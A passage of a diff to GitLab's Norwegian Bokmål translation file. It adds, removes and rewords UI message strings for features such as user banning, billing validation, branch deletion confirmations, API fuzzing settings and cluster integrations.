msgstr[1] "%d saker vellykket importert med stemplet"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d lag"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Grupper%{group_docs_link_end} lar deg administrere og samarbeide på tvers av flere prosjekter. Medlemmer av en gruppe har tilgang til alle prosjektene."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,11 +660,11 @@ msgstr "%{link_start}Lær mer%{link_end} om hvilken informasjon som deles med Gi
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Les mer%{link_end} om rolletillatelser"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr "%{link_start}Fjern %{draft_or_wip_snippet} prefiksen%{link_end} fra tittelen for å tillate at denne fletteforespørselen blir innflettet når den er klar."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Start tittelen med %{draft_snippet} eller %{wip_snippet}%{link_end} for å forhindre at en fletteforespørsel som er under arbeid blir innflettet før den er klar."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, og %{awardsListLength} til."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}s"
@@ -849,9 +857,6 @@ msgstr "%{state} eposer"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "%{strongStart}Sletter%{strongEnd} kildegrenen"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr "%{userName} (kan ikke flette)"
msgid "%{userName}'s avatar"
msgstr "%{userName} sin avatar"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} sin profilside"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "'%{name}'-trinnet finnes allerede"
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' er ikke en importkilde"
@@ -1364,6 +1372,9 @@ msgstr "Et 'Let's Encrypt'-SSL-sertifikat kan ikke fås før domenet ditt har bl
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "En Let's Encrypt-konto vil bli konfigurert for denne GitLab-installasjonen ved å bruke e-postadressen din. Du vil motta e-postmeldinger for å advare om utløpende sertifikater."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "En slettet bruker"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "En fil har blitt endret."
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS tilgangsnøkkel"
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Legg til en punktliste"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Legg til en kommentar til denne linjen"
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr "Juster dine filtre/søkekriterier ovenfor. Hvis du mener at dette kan være en feil, kan du se dokumentasjonen for %{linkStart}Geo-feilsøking%{linkEnd} for mer informasjon."
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Admin-område"
@@ -2330,9 +2350,6 @@ msgstr "Miljøvariabler er beskyttet som standard"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "GÃ¥ til Generelle innstillinger"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr "Flyttet til integrasjoner"
msgid "AdminSettings|No required pipeline"
msgstr "Ingen påkrevd rørledning"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Påkrevd rørledningsoppsett"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr "Noen innstillinger har blitt flyttet"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Spesifiser et domene som skal brukes som standard for hvert enkelt prosjekts autogjennomgangsapper og autodistribusjonstrinn."
@@ -2420,6 +2431,9 @@ msgstr "Utdrag"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr "2FA er skrudd av"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA er skrudd på"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "Tilgang"
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr "Kan ikke oppheve blokkering av LDAP-blokkerte brukere"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Deaktiver"
@@ -2570,6 +2605,9 @@ msgstr "Benytter setet"
msgid "AdminUsers|It's you!"
msgstr "Det er deg!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "For å bekrefte, skriv %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "For å bekrefte, skriv %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Brukeren vil ikke kunne gå inn på git-kodelagre"
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr "Du kan ikke fjerne dine egne adminrettigheter."
@@ -2759,9 +2821,6 @@ msgstr "Avansert"
msgid "Advanced Search"
msgstr "Avansert søk"
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "Avanserte innstillinger"
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Varsel"
msgstr[1] "Varsler"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr "Anerkjent"
@@ -3172,9 +3228,6 @@ msgstr "Alle miljøer"
msgid "All epics"
msgstr "Alle eposer"
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Alle funksjoner er aktivert for blanke prosjekter, fra maler, eller når du importerer, men du kan deaktivere dem etterpå i prosjektinnstillingene."
-
msgid "All groups and projects"
msgstr "Alle grupper og prosjekter"
@@ -3277,6 +3330,9 @@ msgstr "Tillatt"
msgid "Allowed Geo IP"
msgstr "Tillatt Geo-IP"
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr "En feil oppstod under innhenting av stempelfarger."
msgid "An error occurred while fetching markdown preview"
msgstr "En feil oppstod under forhåndsvisning av markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr "En feil oppstod under innlasting av saker"
msgid "An error occurred while loading merge requests."
msgstr "Det oppstod en feil under innlasting av fletteforespørsler."
-msgid "An error occurred while loading project creation UI"
-msgstr "En feil oppstod under innlasting av prosjektopprettings-grensesnittet"
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,8 +3711,8 @@ msgstr "En feil oppstod under rendring av redigereren"
msgid "An error occurred while reordering issues."
msgstr "En feil oppstod under omsortering av saker."
-msgid "An error occurred while requesting data from the Jira service"
-msgstr "En feil oppstod under forespørsel om data fra Jira-tjenesten"
+msgid "An error occurred while requesting data from the Jira service."
+msgstr ""
msgid "An error occurred while retrieving calendar activity"
msgstr "Det oppstod en feil under innhenting av kalenderaktivitet"
@@ -4128,6 +4184,9 @@ msgstr "Godkjenner"
msgid "Approvers"
msgstr "Godkjennere"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Apr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr "Arkivert i denne versjonen"
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "Arkivert prosjekt! kodelageret og andre prosjektressurser er skrivebeskyttet"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Arkivert prosjekt! kodelageret og andre prosjektressurser er skrivebeskyttet"
msgid "Archived projects"
msgstr "Arkiverte prosjekter"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Automatisk sertifikatshåndtering med Let's Encrypt"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Bakgrunnsfarge"
msgid "Background Jobs"
msgstr "Bakgrunnsjobber"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Bakgrunnsfarge"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Behandle planen"
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "For å behandle planen til denne gruppen, besøk faktureringsseksjonen til %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "ofte stilte spørsmål"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "månedlig"
@@ -5037,6 +5108,27 @@ msgstr "Oppgrader"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Aktive grener"
msgid "Branches|All"
msgstr "Alle"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Kan ikke finne HEAD-commit for denne grenen"
@@ -5298,6 +5402,9 @@ msgstr "Slett alle grener som er flettet sammen til '%{default_branch}'"
msgid "Branches|Delete branch"
msgstr "Slett gren"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Slett grener som er flettet sammen"
@@ -5307,6 +5414,12 @@ msgstr "Slett beskyttet gren"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Slette den beskyttede grenen '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Å slette \"%{branch_name}\"-grenen kan ikke angres på. Er du sikker?"
@@ -5328,12 +5441,18 @@ msgstr "Ingen grener å vise"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Ved bekreftelse og inntasting av %{delete_protected_branch}, er det ikke mulig å angre."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Bare en prosjektmoderator eller eier kan slette en beskyttet gren"
msgid "Branches|Overview"
msgstr "Oversikt"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Beskyttede grener kan behandles i %{project_settings_link}."
@@ -5367,6 +5486,9 @@ msgstr "Grenen kunne ikke oppdateres automatisk fordi den har avviket fra sin op
msgid "Branches|The default branch cannot be deleted"
msgstr "Standardgrenen kan ikke slettes"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Denne grenen har ikke blitt slått sammen til %{default_branch}."
@@ -5379,6 +5501,18 @@ msgstr "For å bekrefte tast inn %{branch_name_confirmation}:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Du er i ferd med å permanent slette den beskyttede grenen %{branch_name}."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "Av %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "Som standard sender GitLab e-post i HTML- og rentekst-formater slik at e-postklienter kan velge hvilket format de skal bruke. Deaktiver dette alternativet hvis du bare vil sende e-post i rentekstformat."
@@ -5580,15 +5720,15 @@ msgstr "CI/CD-konfigurasjon"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD for eksternt kodelager"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Velg en gren/etikett (f.eks. %{master}) eller skriv inn en commit (f.eks. %{sha}) for å se hva som er endret eller for å opprette en fletteforespørsel."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Velg en fil"
@@ -6674,72 +6817,6 @@ msgstr "Lukker denne %{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "Klynge"
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr "Alternativt, "
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Grunndomene"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "Blokkeringsmodus"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-sertifikat"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "GitLab-behandlet klynge"
-msgid "ClusterIntegration|Global default"
-msgstr "Universell standard"
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr "Laster inn undernett"
msgid "ClusterIntegration|Loading subnetworks"
msgstr "Laster inn undernettverk"
-msgid "ClusterIntegration|Logging mode"
-msgstr "Loggføringsmodus"
-
msgid "ClusterIntegration|Machine type"
msgstr "Maskintype"
@@ -7370,9 +7444,6 @@ msgstr "Sørg for at kontoen din %{link_to_requirements} for å opprette Kuberne
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "Behandle Kubernetes-klyngen din ved å gå til %{provider_link}"
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "Les vår %{link_start}hjelpeside%{link_end} om Kubernetes-klyngeintegrasjon."
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Fjern Kubernetes-klyngeintegrasjon"
@@ -7610,9 +7678,6 @@ msgstr "Velg sone for å velge maskintype"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Tjenestesjetong"
